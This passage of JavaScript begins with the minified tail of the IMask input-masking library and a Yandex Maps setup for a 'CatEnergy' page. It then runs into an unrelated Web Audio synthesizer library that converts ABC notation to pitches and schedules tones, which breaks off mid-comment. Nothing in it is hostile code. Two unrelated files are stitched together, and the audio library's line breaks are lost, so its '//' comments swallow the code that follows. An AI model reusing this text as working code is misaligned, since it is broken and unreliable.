n>=0&&this._listeners[t].splice(n,1),this}},{key:"_onInput",value:function(t){if(this._inputEvent=t,this._abortUpdateCursor(),!this._selection)return this.updateValue();var e=new zn(this.el.value,this.cursorPos,this.value,this._selection),n=this.masked.rawInputValue,u=this.masked.splice(e.startChangePos,e.removed.length,e.inserted,e.removeDirection).offset,r=n===this.masked.rawInputValue?e.removeDirection:On,i=this.masked.nearestInputPos(e.startChangePos+u,r);this.updateControl(),this.updateCursor(i),delete this._inputEvent}},{key:"_onChange",value:function(){this.value!==this.el.value&&this.updateValue(),this.masked.doCommit(),this.updateControl(),this._saveSelection()}},{key:"_onDrop",value:function(t){t.preventDefault(),t.stopPropagation()}},{key:"_onFocus",value:function(t){this.alignCursorFriendly()}},{key:"_onClick",value:function(t){this.alignCursorFriendly()}},{key:"destroy",value:function(){this._unbindEvents(),this._listeners.length=0,delete this.el}}]),t}();Yn.InputMask=hu;var cu=function(t){_n(n,t);var e=Fn(n);function n(){return kn(this,n),e.apply(this,arguments)}return mn(n,[{key:"_update",value:function(t){t.enum&&(t.mask="*".repeat(t.enum[0].length)),Dn(An(n.prototype),"_update",this).call(this,t)}},{key:"doValidate",value:function(){for(var t,e=this,u=arguments.length,r=new Array(u),i=0;i<u;i++)r[i]=arguments[i];return this.enum.some((function(t){return t.indexOf(e.unmaskedValue)>=0}))&&(t=Dn(An(n.prototype),"doValidate",this)).call.apply(t,[this].concat(r))}}]),n}(nu);Yn.MaskedEnum=cu;var fu=function(t){_n(n,t);var e=Fn(n);function n(t){return kn(this,n),e.call(this,Object.assign({},n.DEFAULTS,t))}return mn(n,[{key:"_update",value:function(t){Dn(An(n.prototype),"_update",this).call(this,t),this._updateRegExps()}},{key:"_updateRegExps",value:function(){var t="^"+(this.allowNegative?"[+|\\-]?":""),e=(this.scale?"("+Ln(this.radix)+"\\d{0,"+this.scale+"})?":"")+"$";this._numberRegExpInput=new RegExp(t+"(0|([1-9]+\\d*))?"+e),this._numberRegExp=new RegExp(t+"\\d*"+e),this._mapToRadixRegExp=new RegExp("["+this.mapToRadix.map(Ln).join("")+"]","g"),this._thousandsSeparatorRegExp=new RegExp(Ln(this.thousandsSeparator),"g")}},{key:"_removeThousandsSeparators",value:function(t){return t.replace(this._thousandsSeparatorRegExp,"")}},{key:"_insertThousandsSeparators",value:function(t){var e=t.split(this.radix);return e[0]=e[0].replace(/\B(?=(\d{3})+(?!\d))/g,this.thousandsSeparator),e.join(this.radix)}},{key:"doPrepare",value:function(t){for(var e,u=arguments.length,r=new Array(u>1?u-1:0),i=1;i<u;i++)r[i-1]=arguments[i];return(e=Dn(An(n.prototype),"doPrepare",this)).call.apply(e,[this,this._removeThousandsSeparators(t.replace(this._mapToRadixRegExp,this.radix))].concat(r))}},{key:"_separatorsCount",value:function(t){for(var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=0,u=0;u<t;++u)this._value.indexOf(this.thousandsSeparator,u)===u&&(++n,e&&(t+=this.thousandsSeparator.length));return n}},{key:"_separatorsCountFromSlice",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this._value;return this._separatorsCount(this._removeThousandsSeparators(t).length,!0)}},{key:"extractInput",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,u=arguments.length>2?arguments[2]:void 0,r=this._adjustRangeWithSeparators(t,e),i=Mn(r,2);return t=i[0],e=i[1],this._removeThousandsSeparators(Dn(An(n.prototype),"extractInput",this).call(this,t,e,u))}},{key:"_appendCharRaw",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!this.thousandsSeparator)return Dn(An(n.prototype),"_appendCharRaw",this).call(this,t,e);var u=e.tail&&e._beforeTailState?e._beforeTailState._value:this._value,r=this._separatorsCountFromSlice(u);this._value=this._removeThousandsSeparators(this.value);var i=Dn(An(n.prototype),"_appendCharRaw",this).call(this,t,e);this._value=this._insertThousandsSeparators(this._value);var a=e.tail&&e._beforeTailState?e._beforeTailState._value:this._value,s=this._separatorsCountFromSlice(a);return i.tailShift+=(s-r)*this.thousandsSeparator.length,i.skip=!i.rawInserted&&t===this.thousandsSeparator,i}},{key:"_findSeparatorAround",value:function(t){if(this.thousandsSeparator){var e=t-this.thousandsSeparator.length+1,n=this.value.indexOf(this.thousandsSeparator,e);if(n<=t)return n}return-1}},{key:"_adjustRangeWithSeparators",value:function(t,e){var n=this._findSeparatorAround(t);n>=0&&(t=n);var u=this._findSeparatorAround(e);return u>=0&&(e=u+this.thousandsSeparator.length),[t,e]}},{key:"remove",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.value.length,n=this._adjustRangeWithSeparators(t,e),u=Mn(n,2);t=u[0],e=u[1];var r=this.value.slice(0,t),i=this.value.slice(e),a=this._separatorsCount(r.length);this._value=this._insertThousandsSeparators(this._removeThousandsSeparators(r+i));var s=this._separatorsCountFromSlice(r);return new Un({tailShift:(s-a)*this.thousandsSeparator.length})}},{key:"nearestInputPos",value:function(t,e){if(!this.thousandsSeparator)return t;switch(e){case On:case Tn:case In:var n=this._findSeparatorAround(t-1);if(n>=0){var u=n+this.thousandsSeparator.length;if(t<u||this.value.length<=u||e===In)return n}break;case jn:case Vn:var r=this._findSeparatorAround(t);if(r>=0)return r+this.thousandsSeparator.length}return t}},{key:"doValidate",value:function(t){var e=(t.input?this._numberRegExpInput:this._numberRegExp).test(this._removeThousandsSeparators(this.value));if(e){var u=this.number;e=e&&!isNaN(u)&&(null==this.min||this.min>=0||this.min<=this.number)&&(null==this.max||this.max<=0||this.number<=this.max)}return e&&Dn(An(n.prototype),"doValidate",this).call(this,t)}},{key:"doCommit",value:function(){if(this.value){var t=this.number,e=t;null!=this.min&&(e=Math.max(e,this.min)),null!=this.max&&(e=Math.min(e,this.max)),e!==t&&(this.unmaskedValue=String(e));var u=this.value;this.normalizeZeros&&(u=this._normalizeZeros(u)),this.padFractionalZeros&&(u=this._padFractionalZeros(u)),this._value=u}Dn(An(n.prototype),"doCommit",this).call(this)}},{key:"_normalizeZeros",value:function(t){var e=this._removeThousandsSeparators(t).split(this.radix);return e[0]=e[0].replace(/^(\D*)(0*)(\d*)/,(function(t,e,n,u){return e+u})),t.length&&!/\d$/.test(e[0])&&(e[0]=e[0]+"0"),e.length>1&&(e[1]=e[1].replace(/0*$/,""),e[1].length||(e.length=1)),this._insertThousandsSeparators(e.join(this.radix))}},{key:"_padFractionalZeros",value:function(t){if(!t)return t;var e=t.split(this.radix);return e.length<2&&e.push(""),e[1]=e[1].padEnd(this.scale,"0"),e.join(this.radix)}},{key:"unmaskedValue",get:function(){return this._removeThousandsSeparators(this._normalizeZeros(this.value)).replace(this.radix,".")},set:function(t){wn(An(n.prototype),"unmaskedValue",t.replace(".",this.radix),this,!0)}},{key:"typedValue",get:function(){return Number(this.unmaskedValue)},set:function(t){wn(An(n.prototype),"unmaskedValue",String(t),this,!0)}},{key:"number",get:function(){return this.typedValue},set:function(t){this.typedValue=t}},{key:"allowNegative",get:function(){return this.signed||null!=this.min&&this.min<0||null!=this.max&&this.max<0}}]),n}(Zn);fu.DEFAULTS={radix:",",thousandsSeparator:"",mapToRadix:["."],scale:2,signed:!1,normalizeZeros:!0,padFractionalZeros:!1},Yn.MaskedNumber=fu;var pu=function(t){_n(n,t);var e=Fn(n);function n(){return kn(this,n),e.apply(this,arguments)}return mn(n,[{key:"_update",value:function(t){t.mask&&(t.validate=t.mask),Dn(An(n.prototype),"_update",this).call(this,t)}}]),n}(Zn);Yn.MaskedFunction=pu;var du=["compiledMasks","currentMaskRef","currentMask"],vu=function(t){_n(n,t);var e=Fn(n);function n(t){var u;return kn(this,n),(u=e.call(this,Object.assign({},n.DEFAULTS,t))).currentMask=null,u}return mn(n,[{key:"_update",value:function(t){Dn(An(n.prototype),"_update",this).call(this,t),"mask"in t&&(this.compiledMasks=Array.isArray(t.mask)?t.mask.map((function(t){return Gn(t)})):[])}},{key:"_appendCharRaw",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=this._applyDispatch(t,e);return this.currentMask&&n.aggregate(this.currentMask._appendChar(t,e)),n}},{key:"_applyDispatch",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e.tail&&null!=e._beforeTailState?e._beforeTailState._value:this.value,u=this.rawInputValue,r=e.tail&&null!=e._beforeTailState?e._beforeTailState._rawInputValue:u,i=u.slice(r.length),a=this.currentMask,s=new Un,o=a&&a.state;if(this.currentMask=this.doDispatch(t,Object.assign({},e)),this.currentMask)if(this.currentMask!==a){if(this.currentMask.reset(),r){var l=this.currentMask.append(r,{raw:!0});s.tailShift=l.inserted.length-n.length}i&&(s.tailShift+=this.currentMask.append(i,{raw:!0,tail:!0}).tailShift)}else this.currentMask.state=o;return s}},{key:"_appendPlaceholder",value:function(){var t=this._applyDispatch.apply(this,arguments);return this.currentMask&&t.aggregate(this.currentMask._appendPlaceholder()),t}},{key:"doDispatch",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return this.dispatch(t,this,e)}},{key:"doValidate",value:function(){for(var t,e,u=arguments.length,r=new Array(u),i=0;i<u;i++)r[i]=arguments[i];return(t=Dn(An(n.prototype),"doValidate",this)).call.apply(t,[this].concat(r))&&(!this.currentMask||(e=this.currentMask).doValidate.apply(e,r))}},{key:"reset",value:function(){this.currentMask&&this.currentMask.reset(),this.compiledMasks.forEach((function(t){return t.reset()}))}},{key:"value",get:function(){return this.currentMask?this.currentMask.value:""},set:function(t){wn(An(n.prototype),"value",t,this,!0)}},{key:"unmaskedValue",get:function(){return this.currentMask?this.currentMask.unmaskedValue:""},set:function(t){wn(An(n.prototype),"unmaskedValue",t,this,!0)}},{key:"typedValue",get:function(){return this.currentMask?this.currentMask.typedValue:""},set:function(t){var e=String(t);this.currentMask&&(this.currentMask.typedValue=t,e=this.currentMask.unmaskedValue),this.unmaskedValue=e}},{key:"isComplete",get:function(){return!!this.currentMask&&this.currentMask.isComplete}},{key:"remove",value:function(){var t,e=new Un;this.currentMask&&e.aggregate((t=this.currentMask).remove.apply(t,arguments)).aggregate(this._applyDispatch());return e}},{key:"state",get:function(){return Object.assign({},Dn(An(n.prototype),"state",this),{_rawInputValue:this.rawInputValue,compiledMasks:this.compiledMasks.map((function(t){return t.state})),currentMaskRef:this.currentMask,currentMask:this.currentMask&&this.currentMask.state})},set:function(t){var e=t.compiledMasks,u=t.currentMaskRef,r=t.currentMask,i=Cn(t,du);this.compiledMasks.forEach((function(t,n){return t.state=e[n]})),null!=u&&(this.currentMask=u,this.currentMask.state=r),wn(An(n.prototype),"state",i,this,!0)}},{key:"extractInput",value:function(){var t;return this.currentMask?(t=this.currentMask).extractInput.apply(t,arguments):""}},{key:"extractTail",value:function(){for(var t,e,u=arguments.length,r=new Array(u),i=0;i<u;i++)r[i]=arguments[i];return this.currentMask?(t=this.currentMask).extractTail.apply(t,r):(e=Dn(An(n.prototype),"extractTail",this)).call.apply(e,[this].concat(r))}},{key:"doCommit",value:function(){this.currentMask&&this.currentMask.doCommit(),Dn(An(n.prototype),"doCommit",this).call(this)}},{key:"nearestInputPos",value:function(){for(var t,e,u=arguments.length,r=new Array(u),i=0;i<u;i++)r[i]=arguments[i];return this.currentMask?(t=this.currentMask).nearestInputPos.apply(t,r):(e=Dn(An(n.prototype),"nearestInputPos",this)).call.apply(e,[this].concat(r))}},{key:"overwrite",get:function(){return this.currentMask?this.currentMask.overwrite:Dn(An(n.prototype),"overwrite",this)},set:function(t){console.warn('"overwrite" option is not available in dynamic mask, use this option in siblings')}}]),n}(Zn);vu.DEFAULTS={dispatch:function(t,e,n){if(e.compiledMasks.length){var u=e.rawInputValue,r=e.compiledMasks.map((function(e,r){return e.reset(),e.append(u,{raw:!0}),e.append(t,n),{weight:e.rawInputValue.length,index:r}}));return r.sort((function(t,e){return e.weight-t.weight})),e.compiledMasks[r[0].index]}}},Yn.MaskedDynamic=vu;var gu={MASKED:"value",UNMASKED:"unmaskedValue",TYPED:"typedValue"};function ku(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:gu.MASKED,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:gu.MASKED,u=Gn(t);return function(t){return u.runIsolated((function(u){return u[e]=t,u[n]}))}}function yu(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),u=1;u<e;u++)n[u-1]=arguments[u];return ku.apply(void 0,n)(t)}Yn.PIPE_TYPE=gu,Yn.createPipe=ku,Yn.pipe=yu;try{globalThis.IMask=Yn}catch(t){}t.HTMLContenteditableMaskElement=ou,t.HTMLMaskElement=su,t.InputMask=hu,t.MaskElement=au,t.Masked=Zn,t.MaskedDate=iu,t.MaskedDynamic=vu,t.MaskedEnum=cu,t.MaskedFunction=pu,t.MaskedNumber=fu,t.MaskedPattern=nu,t.MaskedRange=ru,t.MaskedRegExp=tu,t.PIPE_TYPE=gu,t.createMask=Gn,t.createPipe=ku,t.default=Yn,t.pipe=yu,Object.defineProperty(t,"__esModule",{value:!0})})),ymaps.ready((function(){var t=new ymaps.Map("map",{center:[59.938635,30.323118],zoom:17},{searchControlProvider:"yandex#search"}),e=new ymaps.Placemark(t.getCenter(),{hintContent:"",balloonContent:"CatEnergy"},{iconLayout:"default#image",iconImageHref:"[email protected]",iconImageSize:[57,53],iconImageOffset:[-15,-38]});t.geoObjects.add(e),t.behaviors.disable("scrollZoom")}));
(function(global, module, define) { // A variable that can be used to interrupt things. var interrupted = false; // Tests for the presence of HTML5 Web Audio (or webkit's version). function isAudioPresent() { return !!(global.AudioContext || global.webkitAudioContext); } // All our audio funnels through the same AudioContext with a // DynamicsCompressorNode used as the main output, to compress the // dynamic range of all audio. getAudioTop sets this up. function getAudioTop() { if (getAudioTop.audioTop) { return getAudioTop.audioTop; } if (!isAudioPresent()) { return null; } var ac = new (global.AudioContext || global.webkitAudioContext); getAudioTop.audioTop = { ac: ac, wavetable: makeWavetable(ac), out: null, currentStart: null }; resetAudio(); return getAudioTop.audioTop; } // When audio needs to be interrupted globally (e.g., when you press the // stop button in the IDE), resetAudio does the job. function resetAudio() { if (getAudioTop.audioTop) { var atop = getAudioTop.audioTop; // Disconnect the top-level node and make a new one. if (atop.out) { atop.out.disconnect(); atop.out = null; atop.currentStart = null; } var dcn = atop.ac.createDynamicsCompressor(); dcn.ratio = 16; dcn.attack = 0.0005; dcn.connect(atop.ac.destination); atop.out = dcn; } } // For precise scheduling of future notes, the AudioContext currentTime is // cached and is held constant until the script releases to the event loop. function audioCurrentStartTime() { var atop = getAudioTop(); if (atop.currentStart != null) { return atop.currentStart; } // A delay could be added below to introduce a universal delay in // all beginning sounds (without skewing durations for scheduled // sequences). atop.currentStart = Math.max(0.25, atop.ac.currentTime /* + 0.0 delay */); setTimeout(function() { atop.currentStart = null; }, 0); return atop.currentStart; } // Converts a midi note number to a frequency in Hz. function midiToFrequency(midi) { return 440 * Math.pow(2, (midi - 69) / 12); } // Some constants. var noteNum = {C:0,D:2,E:4,F:5,G:7,A:9,B:11,c:12,d:14,e:16,f:17,g:19,a:21,b:23}; var accSym = { '^':1, '': 0, '=':0, '_':-1 }; var noteName = ['C', '^C', 'D', '_E', 'E', 'F', '^F', 'G', '_A', 'A', '_B', 'B', 'c', '^c', 'd', '_e', 'e', 'f', '^f', 'g', '_a', 'a', '_b', 'b']; // Converts a frequency in Hz to the closest midi number. function frequencyToMidi(freq) { return Math.round(69 + Math.log(freq / 440) * 12 / Math.LN2); } // Converts an ABC pitch (such as "^G,,") to a midi note number. function pitchToMidi(pitch) { var m = /^(\^+|_+|=|)([A-Ga-g])([,']*)$/.exec(pitch); if (!m) { return null; } var octave = m[3].replace(/,/g, '').length - m[3].replace(/'/g, '').length; var semitone = noteNum[m[2]] + accSym[m[1].charAt(0)] * m[1].length + 12 * octave; return semitone + 60; // 60 = midi code middle "C". } // Converts a midi number to an ABC notation pitch. function midiToPitch(midi) { var index = ((midi - 72) % 12); if (midi > 60 || index != 0) { index += 12; } var octaves = Math.round((midi - index - 60) / 12), result = noteName[index]; while (octaves != 0) { result += octaves > 0 ? "'" : ","; octaves += octaves > 0 ? -1 : 1; } return result; } // Converts an ABC pitch to a frequency in Hz. function pitchToFrequency(pitch) { return midiToFrequency(pitchToMidi(pitch)); } // All further details of audio handling are encapsulated in the Instrument // class, which knows how to synthesize a basic timbre; how to play and // schedule a tone; and how to parse and sequence a song written in ABC // notation. var Instrument = (function() { // The constructor accepts a timbre string or object, specifying // its default sound. The main mechanisms in Instrument are for handling // sequencing of a (potentially large) set of notes over a (potentially // long) period of time. The overall strategy: // // Events: 'noteon' 'noteoff' // | | // tone()-(quick tones)->| _startSet -->| _finishSet -->| _cleanupSet -->| // \ | / | Playing tones | Done tones | // \---- _queue ------|-/ | // of future tones |3 secs ahead sent to WebAudio, removed when done // // The reason for this queuing is to reduce the complexity of the // node graph sent to WebAudio: at any time, WebAudio is only // responsible for about 2 seconds of music. If a graph with too // too many nodes is sent to WebAudio at once, output distorts badly. function Instrument(options) { this._atop = getAudioTop(); // Audio context. this._timbre = makeTimbre(options, this._atop); // The instrument's timbre. this._queue = []; // A queue of future tones to play. this._minQueueTime = Infinity; // The earliest time in _queue. this._maxScheduledTime = 0; // The latest time in _queue. this._unsortedQueue = false; // True if _queue is unsorted. this._startSet = []; // Unstarted tones already sent to WebAudio. this._finishSet = {}; // Started tones playing in WebAudio. this._cleanupSet = []; // Tones waiting for cleanup. this._callbackSet = []; // A set of scheduled callbacks. this._handlers = {}; // 'noteon' and 'noteoff' handlers. this._now = null; // A cached current-time value. if (isAudioPresent()) { this.silence(); // Initializes top-level audio node. } } Instrument.timeOffset = 0.0625;// Seconds to delay all audiable timing. Instrument.dequeueTime = 0.5; // Seconds before an event to reexamine queue. Instrument.bufferSecs = 2; // Seconds ahead to put notes in WebAudio. Instrument.toneLength = 1; // Default duration of a tone. Instrument.cleanupDelay = 0.1; // Silent time before disconnecting nodes. // Sets the default timbre for the instrument. See defaultTimbre. Instrument.prototype.setTimbre = function(t) { this._timbre = makeTimbre(t, this._atop); // Saves a copy. }; // Returns the default timbre for the instrument as an object. Instrument.prototype.getTimbre = function(t) { return makeTimbre(this._timbre, this._atop); // Makes a copy. }; // Sets the overall volume for the instrument immediately. Instrument.prototype.setVolume = function(v) { // Without an audio system, volume cannot be set. if (!this._out) { return; } if (!isNaN(v)) { this._out.gain.value = v; } }; // Sets the overall volume for the instrument. Instrument.prototype.getVolume = function(v) { // Without an audio system, volume is stuck at zero. if (!this._out) { return 0.0; } return this._out.gain.value; }; // Silences the instrument immediately by reinitializing the audio // graph for this instrument and emptying or flushing all queues in the // scheduler. Carefully notifies all notes that have started but not // yet finished, and sequences that are awaiting scheduled callbacks. // Does not notify notes that have not yet started. Instrument.prototype.silence = function() { var j, finished, callbacks, initvolume = 1; // Clear future notes. this._queue.length = 0; this._minQueueTime = Infinity; this._maxScheduledTime = 0; // Don't notify notes that haven't started yet. this._startSet.length = 0; // Flush finish callbacks that are promised. finished = this._finishSet; this._finishSet = {}; // Flush one-time callacks that are promised. callbacks = this._callbackSet; this._callbackSet = []; // Disconnect the audio graph for this instrument. if (this._out) { this._out.disconnect(); initvolume = this._out.gain.value; } // Reinitialize the audio graph: all audio for the instrument // multiplexes through a single gain node with a master volume. this._atop = getAudioTop(); this._out = this._atop.ac.createGain(); this._out.gain.value = initvolume; this._out.connect(this._atop.out); // As a last step, call all promised notifications. for (j in finished) { this._trigger('noteoff', finished[j]); } for (j = 0; j < callbacks.length; ++j) { callbacks[j].callback(); } }; // Future notes are scheduled relative to now(), which provides // access to audioCurrentStartTime(), a time that holds steady // until the script releases to the event loop. When _now is // non-null, it indicates that scheduling is already in progress. // The timer-driven _doPoll function clears the cached _now. Instrument.prototype.now = function() { if (this._now != null) { return this._now; } this._startPollTimer(true); // passing (true) sets this._now. return this._now; }; // Register an event handler. Done without jQuery to reduce dependencies. Instrument.prototype.on = function(eventname, cb) { if (!this._handlers.hasOwnProperty(eventname)) { this._handlers[eventname] = []; } this._handlers[eventname].push(cb); }; // Unregister an event handler. Done without jQuery to reduce dependencies. Instrument.prototype.off = function(eventname, cb) { if (this._handlers.hasOwnProperty(eventname)) { if (!cb) { this._handlers[eventname] = []; } else { var j, hunt = this._handlers[eventname]; for (j = 0; j < hunt.length; ++j) { if (hunt[j] === cb) { hunt.splice(j, 1); j -= 1; } } } } }; // Trigger an event, notifying any registered handlers. Instrument.prototype._trigger = function(eventname, record) { var cb = this._handlers[eventname], j; if (!cb) { return; } if (cb.length == 1) { // Special, common case of one handler: no copy needed. cb[0](record); return; } // Copy the array of callbacks before iterating, because the // main this._handlers copy could be changed by a handler. // You get notified if-and-only-if you are registered // at the starting moment of _trigger. cb = cb.slice(); for (j = 0; j < cb.length; ++j) { cb[j](record); } }; // Tells the WebAudio API to play a tone (now or soon). The passed // record specifies a start time and release time, an ADSR envelope, // and other timbre parameters. This function sets up a WebAudio // node graph for the tone generators and filters for the tone. Instrument.prototype._makeSound = function(record) { var timbre = record.timbre || this._timbre, starttime = record.time + Instrument.timeOffset, releasetime = starttime + record.duration, attacktime = Math.min(releasetime, starttime + timbre.attack), decaytime = timbre.decay * Math.pow(440 / record.frequency, timbre.decayfollow), decaystarttime = attacktime, stoptime = releasetime + timbre.release, doubled = timbre.detune && timbre.detune != 1.0, amp = timbre.gain * record.velocity * (doubled ? 0.5 : 1.0), ac = this._atop.ac, g, f, o, o2, pwave, k, wf, bwf; // Only hook up tone generators if it is an audible sound. if (record.duration > 0 && record.velocity > 0) { g = ac.createGain(); g.gain.setValueAtTime(0, starttime); g.gain.linearRampToValueAtTime(amp, attacktime); // For the beginning of the decay, use linearRampToValue instead // of setTargetAtTime, because it avoids http://crbug.com/254942. while (decaystarttime < attacktime + 1/32 && decaystarttime + 1/256 < releasetime) { // Just trace out the curve in increments of 1/256 sec // for up to 1/32 seconds. decaystarttime += 1/256; g.gain.linearRampToValueAtTime( amp * (timbre.sustain + (1 - timbre.sustain) * Math.exp((attacktime - decaystarttime) / decaytime)), decaystarttime); } // For the rest of the decay, use setTargetAtTime. g.gain.setTargetAtTime(amp * timbre.sustain, decaystarttime, decaytime); // Then at release time, mark the value and ramp to zero. g.gain.setValueAtTime(amp * (timbre.sustain + (1 - timbre.sustain) * Math.exp((attacktime - releasetime) / decaytime)), releasetime); g.gain.linearRampToValueAtTime(0, stoptime); g.connect(this._out); // Hook up a low-pass filter if cutoff is specified. if ((!timbre.cutoff && !timbre.cutfollow) || timbre.cutoff == Infinity) { f = g; } else { // Apply the cutoff frequency adjusted using cutfollow. f = ac.createBiquadFilter(); f.frequency.value = timbre.cutoff + record.frequency * timbre.cutfollow; f.Q.value = timbre.resonance; f.connect(g); } // Hook up the main oscillator. o = makeOscillator(this._atop, timbre.wave, record.frequency); o.connect(f); o.start(starttime); o.stop(stoptime); // Hook up a detuned oscillator. if (doubled) { o2 = makeOscillator( this._atop, timbre.wave, record.frequency * timbre.detune); o2.connect(f); o2.start(starttime); o2.stop(stoptime); } // Store nodes in the record so that they can be modified // in case the tone is truncated later. record.gainNode = g; record.oscillators = [o]; if (doubled) { record.oscillators.push(o2); } record.cleanuptime = stoptime; } else { // Inaudible sounds are scheduled: their purpose is to truncate // audible tones at the same pitch. But duration is set to zero // so that they are cleaned up quickly. record.duration = 0; } this._startSet.push(record); }; // Truncates a sound previously scheduled by _makeSound by using // cancelScheduledValues and directly ramping down to zero. // Can only be used to shorten a sound. Instrument.prototype._truncateSound = function(record, truncatetime) { if (truncatetime < record.time + record.duration) { record.duration = Math.max(0, truncatetime - record.time); if (record.gainNode) { var timbre = record.timbre || this._timbre, starttime = record.time + Instrument.timeOffset, releasetime = truncatetime + Instrument.timeOffset, attacktime = Math.min(releasetime, starttime + timbre.attack), decaytime = timbre.decay * Math.pow(440 / record.frequency, timbre.decayfollow), stoptime = releasetime + timbre.release, cleanuptime = stoptime + Instrument.cleanupDelay, doubled = timbre.detune && timbre.detune != 1.0, amp = timbre.gain * record.velocity * (doubled ? 0.5 : 1.0), j, g = record.gainNode; // Cancel any envelope points after the new releasetime. g.gain.cancelScheduledValues(releasetime); if (releasetime <= starttime) { // Release before start? Totally silence the note. g.gain.setValueAtTime(0, releasetime); } else if (releasetime <= attacktime) { // Release before attack is done? Interrupt ramp up. g.gain.linearRampToValueAtTime( amp * (releasetime - starttime) / (attacktime - starttime)); } else { // Release during decay? Interrupt decay down. g.gain.setValueAtTime(amp * (timbre.sustain + (1 - timbre.sustain) * Math.exp((attacktime - releasetime) / decaytime)), releasetime); } // Then ramp down to zero according to record.release. g.gain.linearRampToValueAtTime(0, stoptime); // After stoptime, stop the oscillators. This is necessary to // eliminate extra work for WebAudio for no-longer-audible notes. if (record.oscillators) { for (j = 0; j < record.oscillators.length; ++j) { record.oscillators[j].stop(stoptime); } } // Schedule disconnect. record.cleanuptime = cleanuptime; } } }; // The core scheduling loop is managed by Instrument._doPoll. It reads // the audiocontext's current time and pushes tone records from one // stage to the next. // // 1. The first stage is the _queue, which has tones that have not // yet been given to WebAudio. This loop scans _queue to find // notes that need to begin in the next few seconds; then it // sends those to WebAduio and moves them to _startSet. Because // scheduled songs can be long, _queue can be large. // // 2. Second is _startSet, which has tones that have been given to // WebAudio, but whose start times have not yet elapsed. When // the time advances past the start time of a record, a 'noteon' // notification is fired for the tone, and it is moved to // _finishSet. // // 3. _finishSet represents the notes that are currently sounding. // The programming model for Instrument is that only one tone of // a specific frequency may be played at once within a Instrument, // so only one tone of a given frequency may exist in _finishSet // at once. When there is a conflict, the sooner-to-end-note // is truncated. // // 4. After a note is released, it may have a litle release time // (depending on timbre.release), after which the nodes can // be totally disconnected and cleaned up. _cleanupSet holds // notes for which we are awaiting cleanup. Instrument.prototype._doPoll = function() { this._pollTimer = null; this._now = null; if (interrupted) { this.silence(); return; } // The shortest time we can delay is 1 / 1000 secs, so if an event // is within the next 0.5 ms, now is the closest moment, and we go // ahead and process it. var instant = this._atop.ac.currentTime + (1 / 2000), callbacks = [], j, work, when, freq, record, conflict, save, cb; // Schedule a batch of notes if (this._minQueueTime - instant <= Instrument.bufferSecs) { if (this._unsortedQueue) { this._queue.sort(function(a, b) { if (a.time != b.time) { return a.time - b.time; } if (a.duration != b.duration) { return a.duration - b.duration; } return a.frequency - b.frequency; }); this._unsortedQueue = false; } for (j = 0; j < this._queue.length; ++j) { if (this._queue[j].time - instant > Instrument.bufferSecs) { break; } } if (j > 0) { work = this._queue.splice(0, j); for (j = 0; j < work.length; ++j) { this._makeSound(work[j]); } this._minQueueTime = (this._queue.length > 0) ? this._queue[0].time : Infinity; } } // Disconnect notes from the cleanup set. for (j = 0; j < this._cleanupSet.length; ++j) { record = this._cleanupSet[j]; if (record.cleanuptime < instant) { if (record.gainNode) { // This explicit disconnect is needed or else Chrome's WebAudio // starts getting overloaded after a couple thousand notes. record.gainNode.disconnect(); record.gainNode = null; } this._cleanupSet.splice(j, 1); j -= 1; } } // Notify about any notes finishing. for (freq in this._finishSet) { record = this._finishSet[freq]; when = record.time + record.duration; if (when <= instant) { callbacks.push({ order: [when, 0], f: this._trigger, t: this, a: ['noteoff', record]}); if (record.cleanuptime != Infinity) { this._cleanupSet.push(record); } delete this._finishSet[freq]; } } // Call any specific one-time callbacks that were registered. for (j = 0; j < this._callbackSet.length; ++j) { cb = this._callbackSet[j]; when = cb.time; if (when <= instant) { callbacks.push({ order: [when, 1], f: cb.callback, t: null, a: []}); this._callbackSet.splice(j, 1); j -= 1; } } // Notify about any notes starting. for (j = 0; j < this._startSet.length; ++j) { if (this._startSet[j].time <= instant) { save = record = this._startSet[j]; freq = record.frequency; conflict = null; if (this._finishSet.hasOwnProperty(freq)) { // If there is already a note at the same frequency playing, // then release the one that starts first, immediately. conflict = this._finishSet[freq]; if (conflict.time < record.time || (conflict.time == record.time && conflict.duration < record.duration)) { // Our new sound conflicts with an old one: end the old one // and notify immediately of its noteoff event. this._truncateSound(conflict, record.time); callbacks.push({ order: [record.time, 0], f: this._trigger, t: this, a: ['noteoff', conflict]}); delete this._finishSet[freq]; } else { // A conflict from the future has already scheduled, // so our own note shouldn't sound. Truncate ourselves // immediately, and suppress our own noteon and noteoff. this._truncateSound(record, conflict.time); conflict = record; } } this._startSet.splice(j, 1); j -= 1; if (record.duration > 0 && record.velocity > 0 && conflict !== record) { this._finishSet[freq] = record; callbacks.push({ order: [record.time, 2], f: this._trigger, t: this, a: ['noteon', record]}); } } } // Schedule the next _doPoll. this._startPollTimer(); // Sort callbacks according to the "order" tuple, so earlier events // are notified first. callbacks.sort(function(a, b) { if (a.order[0] != b.order[0]) { return a.order[0] - b.order[0]; } // tiebreak by notifying 'noteoff' first and 'noteon' last. return a.order[1] - b.order[1]; }); // At the end, call all the callbacks without depending on "this" state. for (j = 0; j < callbacks.length; ++j) { cb = callbacks[j]; cb.f.apply(cb.t, cb.a); } }; // Schedules the next _doPoll call by examining times in the various // sets and determining the soonest event that needs _doPoll processing. Instrument.prototype._startPollTimer = function(setnow) { // If we have already done a "setnow", then pollTimer is zero-timeout // and cannot be faster. if (this._pollTimer && this._now != null) { return; } var self = this, poll = function() { self._doPoll(); }, earliest = Infinity, j, delay; if (this._pollTimer) { // Clear any old timer clearTimeout(this._pollTimer); this._pollTimer = null; } if (setnow) { // When scheduling tones, cache _now and keep a zero-timeout poll. // _now will be cleared the next time we execute _doPoll. this._now = audioCurrentStartTime(); this._pollTimer = setTimeout(poll, 0); return; } // Timer due to notes starting: wake up for 'noteon' 